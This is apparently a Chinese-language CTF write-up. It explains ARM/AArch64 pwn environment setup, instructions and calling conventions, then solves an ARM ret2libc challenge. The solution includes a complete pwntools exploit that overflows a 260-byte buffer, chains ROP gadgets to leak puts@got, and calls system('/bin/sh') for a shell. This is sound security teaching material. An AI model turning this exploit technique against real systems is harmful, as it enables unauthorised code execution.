参考文章

环境配置

sudo apt-get install gdb-multiarch
sudo apt update
sudo apt install qemu
sudo apt-get install qemu-user
sudo apt-get install qemu-user-binfmt
sudo apt-get install "binfmt*"

##搜索libc
sudo apt search "libc6" | grep arm
##根据输出,自行选择所需的库,如:
sudo apt install libc6-armel-cross #对应arm32
sudo apt install libc6-dbg-arm64-cross #对应arm64

http://ports.ubuntu.com/pool/main/g/glibc/

运行

qemu-arm -L /path/to/lib ./pwn

调试

qemu-arm -L /path/to/lib -g 1234./pwn
#新开一个终端
gdb-multiarch
attach 1234

脚本

from pwn import *
import subprocess
import time

context(arch="arm", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture arm",
"-ex", f"file pwn",
"-ex", "target remote localhost:1234",
"-ex","b *0x104f0",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

elf=ELF('./pwn')
shellcode=asm(shellcraft.execve("/bin/sh"))


# p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabihf", "-g","1234", "pwn"])
p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabihf", "pwn"])
ggg()
shell()

相关知识

指令学习

  • MOV: 数据传输指令,用于将数据从一个寄存器或内存中复制到另一个寄存器或内存中。
  • ADD/SUB: 加法和减法指令。
  • CMP: 比较指令,比较两个操作数的大小关系。
  • B: 分支指令,用于无条件跳转到指定地址。
  • BL: 分支指令,用于跳转到指定地址并将返回地址保存在LR寄存器中,可用于函数调用。
  • LDR/STR: 数据传输指令,用于从内存中读取数据或将数据写入内存。
    • LDR 用于将某些内容从内存加载到寄存器中,例如 LDR R2, [R0] 从R0寄存器中存储的内存地址的值读入R2寄存器。
    • STR 用于将某些内容从寄存器存储到内存地址中,例如 STR R2, [R1] 从R2寄存器中将值存储到R1寄存器中的内存地址中。
  • PUSH/POP: 栈操作指令,用于将寄存器中的数据入栈或从栈中弹出数据。
指令 功能 指令 功能
MOV 移动数据 EOR 按位异或
MVN 移动数据并取反 LDR 加载
ADD 加法 STR 存储
SUB 减法 LDM 加载多个
MUL 乘法 STM 存储多个
LSL 逻辑左移 PUSH 入栈
LSR 逻辑右移 POP 出栈
ASR 算术右移 B 跳转
ROR 右旋 BL Link+跳转
CMP 比较 BX 分支跳转
AND 按位与 BLX Linx+分支跳转
ORR 按位或 SWI/SVC 系统调用

栈帧结构

20241205141954-f14caeee-b2d0-1

arm

寄存器 说明
R0 存储函数的第一个参数或函数的返回结果。
R13 (堆栈指针SP) 指向堆栈的顶部
R14(链接寄存器LR) 链接寄存器,用于存放函数调用结束处的返回地址。
R15(程序计数器PC) 程序计数器。

ARM 架构下的函数调用约定为,函数的前四个参数保存在寄存器 R0 - R3 中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 R0 中,R7存放系统调用号(arm32 下,read 的系统调用号是 3,execve 的系统调用号是 0xb),R11(FP)相当于rbp
R13(SP)相当于rspR14(LR)用来存放函数返回地址,R15(PC)相当于ripx64函数返回的时候大多是通过leave ret来返回的,而arm是通过

sub    sp, r11, #4 将r11减4的值传给sp
pop {r11, pc} #恢复rbp,和pc

来进行栈回溯的,当然我们熟悉的poppush指令也都有
arm中没有call funk的汇编,只有B funkBL funkBX funkBLX funk来进行跳转
B就相当于jmp,一般形况下BL相当于callBL会跳转到指定位置执行代码,然后将当前位置的PC值保存到LR中,也就是将返回地址保存到了LR

然后是ldr(加载指令)和str(存储指令)这两个指令的含义

ldr r2, [r1], #-2 将r1地址中的值传给r2,然后r1-=2
ldr r2, [r1], r3, LSL#2 将r1地址中的值传给r2,然后r1+=r3<<2
str r2, [r1, #2] 将r2中的值存储到r1中的地址加2处的地址中
str r2, [r1, r3, LSL#2] 将r2中的值存储到r1中的地址加上r3中的值左移两位后的值所指向的地址中

aarch64

AARCH64 架构下的函数调用约定为,函数的前六个参数保存在寄存器 X0 - X5 中。与ARM架构不同的是,AARCH64 架构下,被调用者不需要实现栈平衡,由调用者负责栈平衡,X0存放函数返回值,如果返回值是一个结构体或类似的较大的数据类型,则会使用 x0x1 寄存器记录返回值X8常用来存放系统调用号或一些函数的返回结果,x32PC寄存器,栈顶是X31(SP)寄存器,栈帧是X29(FP)寄存器,X30(LR)存放着函数的返回地址

对于B类的跳转指令,新增了BR指令,可以向寄存器里的地址跳转
值得留意的是,aarch64中没有了pop和push指令,而是通过STP和LDP来实现的

stp    x29, x30, [sp, #-0x50]! 将x29的值push到sp-0X50处,将x30的值push到sp-0x50+0x8处,然后sp-=0x50(如果后面没有!号的话,sp不变)
ldp x29, x30, [sp], #0x50 将sp中的值pop到x29中,将sp+8中的值pop到x30中,然后将sp+=0x50
诸如此类的使用方式

aarch64中有ret指令,但ret并不是将是sp中的值pop出来当作下一条指令执行,而是retLR(x30)中储存的地址继续执行

题目:领航杯2025 ARM-ROP-ret2libc

题目分析

运行

给了libc版本,在 http://ports.ubuntu.com/pool/main/g/glibc/ 下了一个同为2.27版本的,通过-L指定版本,虽然仍有差异,但本地打通后打远程只需微调即可

qemu-arm  -g 12345 -L ./glibc-2.27 login_system

查看保护

❯ checksec login_system
[*] '/home/zechariah/桌面/LHB/login_system'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

静态分析

Pasted image 20251016162115

解题思路

canary没开,是我喜欢的题,直接溢出!
先找 gadget 尝试 rop 泄露puts 地址,进而可以得到 libc 基地址,最后打一个 ret2libc 即可 getshell

解题流程

测量变量溢出长度

from pwn import *

context.arch = 'arm'
context.terminal = ["tmux", "splitw", "-h"]

# p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './login_system'])
p = process(['qemu-arm', '-L', './glibc-2.27','-g','11451', 'login_system'])
context(arch='arm', os='linux')
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
elf = ELF('./login_system')

gdb.attach(target=("localhost", 11451), exe=elf.path)
p.recvuntil(b'Username: ')
p.sendline(b'admin')

p.recvuntil(b'Password: ')
p.sendline(cyclic(500, n=4))
pause()
p.interactive()

Pasted image 20251016160851

Pasted image 20251016160832

溢出长度260

寻找gedget

armpc就相当于eip,只要能控制pc我们就能进行rop控制程序执行流

ROPgadget --binary login_system --only "pop|ret"

Gadgets information
============================================================
0x000105c0 : pop {fp, pc}
0x000103f0 : pop {r3, pc}
0x00010558 : pop {r4, pc}
0x0001071c : pop {r4, r5, r6, r7, r8, sb, sl, pc}
Unique gadgets found: 4

Pasted image 20251016164140通过pop {r3, pc}0x000106c0 : mov r0, r3 ; pop {fp, pc}我们可以完美控制r0,也就是函数调用的第一个参数
值得高兴的是,在本题中我们只需将puts的第一个参数定为puts@gotsystem的参数定为&"/bin/sh"即可getshell

但值得一提的是,puts函数的结尾会有6次pop,最后一次才是pop pc
Pasted image 20251016165051

因此我们需要在payload中填充一定数量junk以精准控制程序的执行流。

具体填充的数量要分析题目给出的libcputs的具体实现,不同的libc函数末尾的pop次数是不一样的
因此如果本地打通后如果和远程靶机使用的libc不同,不仅需要改exp中指令在libc的偏移,还需要修改填充的junk数量

EXP

from pwn import *

context(arch='arm', os='linux')
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
elf = ELF('./login_system')
p = process(['qemu-arm', '-L', './glibc-2.27','-g','11452', 'login_system'])
# HOST = '123.56.252.211'
# PORT = 13761
# p = remote(HOST, PORT)

gdb.attach(target=("localhost", 11452), exe=elf.path)
libc = ELF('./libc-2.27.so')

offset = 260
main_addr = 0x000106ac
pop_r3_pc = 0x000103f0 # pop {r3, pc}
mov_r0_r3_pop_fp_pc = 0x000106c0 # mov r0, r3 ; pop {fp, pc}

payload1 = b'A' * offset
payload1 += p32(pop_r3_pc) # 控制 r3 和 pc
payload1 += p32(elf.got['puts']) # r3 = puts@got
payload1 += p32(mov_r0_r3_pop_fp_pc) # pc -> gadget, 执行 mov r0, r3
payload1 += b'junk' # fp 的填充值
payload1 += p32(elf.plt['puts']) # pc -> puts@plt, 执行 puts(r0)
payload1 += b'junk' * 5 # 根据libc填充不同数量的junk
payload1 += p32(main_addr)

p.recvuntil(b'Username: ')
p.sendline(b'admin')
p.recvuntil(b'Password: ')
p.sendline(payload1)

p.recvuntil(b'Wrong Password!\n')
puts_addr = u32(p.recv(4))
log.success(f'Leaked puts address: {hex(puts_addr)}')

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success(f'Libc base address: {hex(libc_base)}')
log.success(f'System address: {hex(system_addr)}')
log.success(f'"/bin/sh" address: {hex(bin_sh_addr)}')

payload2 = b'A' * offset
payload2 += p32(pop_r3_pc) # 控制 r3 和 pc
payload2 += p32(bin_sh_addr) # r3 = &"/bin/sh"
payload2 += p32(mov_r0_r3_pop_fp_pc) # pc -> gadget, 执行 mov r0, r3
payload2 += b'junk' * 1 # fp 的填充值 (4 bytes)
payload2 += p32(system_addr) # pc -> system, 执行 system(r0)

p.recvuntil(b'Username: ')
p.sendline(b'admin')
p.recvuntil(b'Password: ')
p.sendline(payload2)

p.interactive()

getshell

image-20251016171312322